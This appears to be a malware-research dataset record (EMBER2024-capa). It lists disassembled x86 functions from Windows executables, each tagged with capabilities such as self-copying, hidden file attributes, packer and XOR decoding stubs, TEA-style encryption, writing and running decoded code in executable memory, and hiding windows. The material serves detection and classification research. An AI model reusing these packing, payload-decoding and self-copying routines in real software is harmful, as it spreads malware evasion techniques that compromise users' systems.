joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ab2
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2240
call fcn.00407bd0
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x406ae6
push dword [ebp + 8]
call fcn.0040471a
test eax, eax
pop ecx
jne 0x406c24
mov edi, str.a9ym
push ebx
push edi
call fcn.00403464
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b0a
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x40f1dc
push ebx
push esi
call fcn.00403464
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b2f
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d8c
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406c24
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1f2a
lea eax, [ebp - 0x2240]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [ebp - 0x2240]
mov byte [ebp - 0x122c], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004054ef
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x13200
push edx
push eax
call fcn.00403f63
push dword [ebp - 4]
push edi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073c0
push dword [ebp - 8]
push esi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073d0
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.004050fd
lea eax, [ebp - 0x10c]
push eax
call fcn.00403dfa
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406dbf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop ebx
push 0x927c0
call edi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x12]
test bl, al
je 0x406dd1
cmp word [ebp - 0xe], 6
jne 0x406dd1
and dword [0x491f04], 0
cmp ax, 7
mov dword [0x491f08], ebx
jne 0x406e0a
mov dword [0x491f04], ebx
cmp ax, bx
jne 0x406e15
mov dword [0x491f04], ebx
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x406d66
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc esi
cmp esi, 0x1a
jl 0x406e17
push 0x1b7740
call edi
call fcn.00406da8
push 0xffffffffffffffff
call edi
jmp 0x406dd1
Function at 0x40a985
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4114f8
cmp edx, dword [eax]
je 0x40a9a7
add eax, 8
inc ecx
cmp eax, 0x411588
jl 0x40a998
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4114f8]
jne 0x40aad5
mov eax, dword [0x491f30]
cmp eax, 1
je 0x40aaaf
test eax, eax
jne 0x40a9d8
cmp dword [0x411124], 1
je 0x40aaaf
cmp edx, 0xfc
je 0x40aad5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40aa0f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004073c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004074b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40aa52
lea eax, [ebp - 0x1a4]
push eax
call fcn.004074b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d5b0
push edi
call fcn.0040ac30
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004073c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004073d0
lea eax, [ebp - 0xa0]
push 0x40d590
push eax
call fcn.004073d0
push dword [esi + 0x4114fc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004073d0
push pe_overlay
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040bd08
add esp, 0x2c
pop edi
jmp 0x40aad5
lea eax, [ebp + 8]
lea esi, [esi + 0x4114fc]
push 0
push eax
push dword [esi]
call fcn.004074b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x401c2e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
and byte [ebp - 0x100], 0
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 8
lea eax, [ebp - 0x100]
push 0x404008
push eax
call fcn.00401ca0
mov ecx, 0x401bdc
mov eax, 0x4017fd
sub ecx, eax
push ecx
push eax
lea eax, [ebp - 0x100]
push eax
call fcn.00401d18
push 0x100
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.004020d0
add esp, 0x24
call fcn.00401846
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402634
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push dword [ebp + 8]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
call esi
cmp eax, 0xffffffff
je 0x402655
push dword [ebp + 8]
call esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
pop esi
jne 0x402682
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402682
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
cmp dword [eax], 0
je 0x402682
push 4
push eax
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 4]
leave
ret 8

Function at 0x402689
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0x10]
and dword [ebp - 4], 0
imul edx, edx, 0x9e3779b9
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
mov eax, dword [esi]
mov ecx, dword [esi + 4]
je 0x4026fe
mov esi, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, dword [ebp - 4]
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, dword [ebp - 4]
xor ebx, ecx
sub dword [ebp - 4], 0x61c88647
add ebx, eax
lea eax, [ebx + edi]
mov edi, eax
mov ebx, eax
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, dword [ebp - 4]
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, dword [ebp - 4]
xor ebx, eax
add ebx, ecx
cmp dword [ebp - 4], edx
lea ecx, [ebx + edi]
jne 0x4026ac
mov esi, dword [ebp + 0xc]
pop edi
pop ebx
mov dword [esi], eax
mov dword [esi + 4], ecx
pop esi
leave
ret

Function at 0x402706
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
push esi
imul eax, eax, 0x61c88647
mov esi, dword [esp + 0xc]
test eax, eax
mov edx, dword [esi]
mov ecx, dword [esi + 4]
je 0x40276e
mov esi, dword [esp + 8]
push ebx
push edi
mov edi, edx
mov ebx, edx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, edx
add eax, 0x61c88647
add edi, ebx
sub ecx, edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, ecx
add edi, ebx
sub edx, edi
test eax, eax
jne 0x402724
mov esi, dword [esp + 0x14]
pop edi
pop ebx
mov dword [esi], edx
mov dword [esi + 4], ecx
pop esi
ret

Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x2ed462a3
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x341c6683
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00431219

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x438860
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x22000]
push edi
or ebp, 0xffffffff
jmp 0x438882
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x438889
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x438878
pushfd
xor eax, eax
inc eax
popfd
add ebx, ebx
jne 0x43889b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x438890
jne 0x4388ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x438890
xor ecx, ecx
sub eax, 3
jb 0x4388c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x438932
mov ebp, eax
add ebx, ebx
jne 0x4388cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4388d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4388fc
inc ecx
add ebx, ebx
jne 0x4388e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4388dd
jne 0x4388f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4388dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43891c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43890d
jmp 0x43887e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43891c
add edi, ecx
jmp 0x43887e
pop esi
mov edi, esi
mov ecx, 0xe0e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43893a
cmp byte [edi], 0xa
jne 0x43893a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x43893f
lea edi, [esi + 0x36000]
mov eax, dword [edi]
test eax, eax
je 0x4389b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3820c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x382ac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43896c
push edi
pop ecx
jns 0x43899b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x382b0]
test eax, eax
je 0x4389b1
mov dword [ebx], eax
add ebx, 4
jmp 0x438989
call dword [esi + 0x382b4]
popal
jmp 0x41be59

Function at 0x7ff988
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7ff992
pushal
call 0x7ff998
pop ebp
sub ebp, 0x10
sub ebp, 0x3ff988
jmp 0x7ff9ae
mov eax, 0x3ff988
add eax, ebp
add eax, 0x4c
mov ecx, 0x628
add byte [eax], al
add byte [ecx + 0x628], bh
mov edx, 0x465b8ac8
xor byte [eax], dl
inc eax
dec ecx
jne 0x7ff9c5
jmp 0x7ff9d8
inc ebx
add eax, 0xc8f44143
enter 0x49c8, 9
xor al, cl
enter 0xffffffffffffcbc8, 5
jo 0x7ff9b8
enter 0xffffffffffffc8c8, 0x72
loopne 0x7ff9b8
enter 0x3fc8, 0x2a
retf
Function at 0x4067e0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424a68]
jne 0x4067ea
repz ret
jmp fcn.00409d0f

Function at 0x409786
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403816
and dword [ebp - 4], 0
cmp dword [0x429338], 0
mov ebx, eax
jne 0x409837
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4098e8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4098e8
push eax
call fcn.004037a4
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429338], eax
call esi
push eax
call fcn.004037a4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42933c], eax
call esi
push eax
call fcn.004037a4
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x429340], eax
call esi
push eax
call fcn.004037a4
pop ecx
mov dword [0x429348], eax
test eax, eax
je 0x409837
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004037a4
pop ecx
mov dword [0x429344], eax
mov eax, dword [0x429344]
cmp eax, ebx
je 0x40988f
cmp dword [0x429348], ebx
je 0x40988f
push eax
call fcn.0040381f
push dword [0x429348]
mov esi, eax
call fcn.0040381f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40988f
test edi, edi
je 0x40988f
call esi
test eax, eax
je 0x409886
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409886
test byte [ebp - 0xc], 1
jne 0x40988f
or dword [ebp + 0x10], 0x200000
jmp 0x4098c8
mov eax, dword [0x42933c]
cmp eax, ebx
je 0x4098c8
push eax
call fcn.0040381f
pop ecx
test eax, eax
je 0x4098c8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4098c8
mov eax, dword [0x429340]
cmp eax, ebx
je 0x4098c8
push eax
call fcn.0040381f
pop ecx
test eax, eax
je 0x4098c8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429338]
call fcn.0040381f
pop ecx
test eax, eax
je 0x4098e8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4098ea
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x41d07f
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [esi + 8]
and eax, dword [esi + 0xc]
push ebx
xor ebx, ebx
mov byte [esp + 0xb], bl
cmp eax, 0xffffffff
je 0x41d13e
push dword [esi]
call fcn.0041c20d
mov dword [esp + 0x18], eax
and eax, edx
mov dword [esp + 0x1c], edx
cmp eax, 0xffffffff
je 0x41d13e
push ebx
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi]
call fcn.0041c1ed
test al, al
je 0x41d13e
push ebx
lea eax, [esp + 0x10]
push eax
push 5
lea eax, [esp + 0x1c]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41d12e
cmp dword [esp + 0xc], 5
jne 0x41d12e
or byte [esp + 0x14], 1
push ebx
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi]
call fcn.0041c1ed
test al, al
je 0x41d12e
push ebx
lea eax, [esp + 0x10]
push eax
push 5
lea eax, [esp + 0x1c]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41d12e
cmp dword [esp + 0xc], 5
jne 0x41d12e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov byte [esp + 0xb], 1
push ebx
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esi]
call fcn.0041c1ed
mov al, byte [esp + 0xb]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41d31e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push dword [ebp + 8]
push edi
call esi
test eax, eax
je 0x41d368
xor eax, eax
xor cl, cl
cmp dword [ebp + 8], eax
jbe 0x41d35b
movzx edx, cl
mov dl, byte [ebp + edx + 0xc]
xor byte [eax + edi], dl
inc cl
cmp cl, 4
jne 0x41d355
xor cl, cl
inc eax
cmp eax, dword [ebp + 8]
jb 0x41d342
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push edi
call esi
pop esi
leave
ret 8

Function at 0x401ae0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x40406c], eax
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.mifedount
push str.Deltapo
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401b33
xor eax, eax
jmp 0x401b4e
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x409b10
Capabilities:
Parse pe header

Disassembly:
mov eax, ecx
and eax, 0x3ff
dec eax
cmp eax, 0x90
ja case.0x409b2a.5
movzx eax, byte [eax + 0x409fbc]
jmp dword [eax*4 + 0x409e20]
mov eax, 0xe
ret
mov eax, 0xf
ret
mov eax, 0x10
ret
mov eax, 0x11
ret
mov eax, 0x12
ret
mov eax, 0x13
ret
mov eax, 0x14
ret
mov eax, 0x15
ret
mov eax, 0x16
ret
mov eax, 0x17
ret
mov eax, 0x18
ret
mov eax, 0x141a
cmp cx, ax
je 0x409bfb
mov eax, 0x201a
cmp cx, ax
je 0x409bfb
mov eax, 0x181a
cmp cx, ax
je 0x409bf5
mov eax, 0x1c1a
cmp cx, ax
je 0x409bf5
mov eax, 0x2c1a
cmp cx, ax
je 0x409bf5
mov eax, 0x301a
cmp cx, ax
je 0x409bf5
mov eax, 0x241a
cmp cx, ax
je 0x409bf5
mov eax, 0x281a
cmp cx, ax
je 0x409bf5
mov eax, 0x41a
cmp cx, ax
je 0x409bf5
mov eax, 0x81a
cmp cx, ax
je 0x409bf5
mov eax, 0xc1a
cmp cx, ax
je 0x409bf5
mov eax, 0x101a
cmp cx, ax
jne case.0x409b2a.5
mov eax, 0x1d
ret
mov eax, 0x50
ret
mov eax, 0x19
ret
mov eax, 0x1a
ret
mov eax, 0x1b
ret
mov eax, 0xc
ret
mov eax, 0x1c
ret
mov eax, 0x1e
ret
mov eax, 0x1f
ret
mov eax, 8
ret
mov eax, 1
ret
mov eax, 0x20
ret
mov eax, 0x21
ret
mov eax, 2
ret
mov eax, 0x22
ret
mov eax, 0x23
ret
mov eax, 0x24
ret
mov eax, 3
ret
mov eax, 0x25
ret
mov eax, 0x26
ret
mov eax, 0x27
ret
mov eax, 0x28
ret
mov eax, 0x29
ret
mov eax, 0x2a
ret
mov eax, 0x2b
ret
mov eax, 0x2c
ret
mov eax, 0x2d
ret
mov eax, 0x2e
ret
mov eax, 0x2f
ret
mov eax, 0x30
ret
mov eax, 4
ret
mov eax, 5
ret
mov eax, 0x31
ret
mov eax, 0x32
ret
mov eax, 0x33
ret
mov eax, 0x34
ret
mov eax, 0x35
ret
mov eax, 0x36
ret
mov eax, 0x37
ret
mov eax, 0x38
ret
mov eax, 0x39
ret
mov eax, 0x3a
ret
mov eax, 0x3b
ret
mov eax, 0x3c
ret
mov eax, 0x3d
ret
mov eax, 0x3e
ret
mov eax, 0x3f
ret
mov eax, 0x40
ret
mov eax, 0x41
ret
mov eax, 0x42
ret
mov eax, 0x43
ret
mov eax, 0x44
ret
mov eax, 0x45
ret
mov eax, 0x46
ret
mov eax, 0x47
ret
mov eax, 0x48
ret
mov eax, 7
ret
mov eax, 0x49
ret
mov eax, 0x4a
ret
mov eax, 0x4b
ret
mov eax, 0x4c
ret
mov eax, 0xa
ret
mov eax, 0x4d
ret
mov eax, 0x4e
ret
mov eax, 0x4f
ret
mov eax, 0x51
ret
mov eax, 0x52
ret
mov eax, 0x53
ret
mov eax, 0x54
ret
mov eax, 0x55
ret
mov eax, 6
ret
mov eax, 0x56
ret
mov eax, 0x57
ret
mov eax, 0x58
ret
mov eax, 0x59
ret
mov eax, 0x5a
ret
mov eax, 0x5b
ret
mov eax, 0x5c
ret
mov eax, 0x5d
ret
mov eax, 0x5e
ret
mov eax, 0x5f
ret
mov eax, 0x60
ret
mov eax, 0x61
ret
mov eax, 0x62
ret
mov eax, 0x63
ret
mov eax, 0x64
ret
mov eax, 0x65
ret
mov eax, 0x66
ret
mov eax, 0x67
ret
mov eax, 0x68
ret
mov eax, 0x69
ret
mov eax, 0x6a
ret
mov eax, 0x6b
ret
xor eax, eax
ret
Function at 0x40e180
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5ee830
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x675f64]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], 0x6445f8
call fcn.004551c5
mov esi, eax
add esp, 4
test esi, esi
je 0x40e1e0
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0059dbc1
add esp, 4
mov dword [esi + 4], eax
jmp 0x40e1e2
xor esi, esi
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret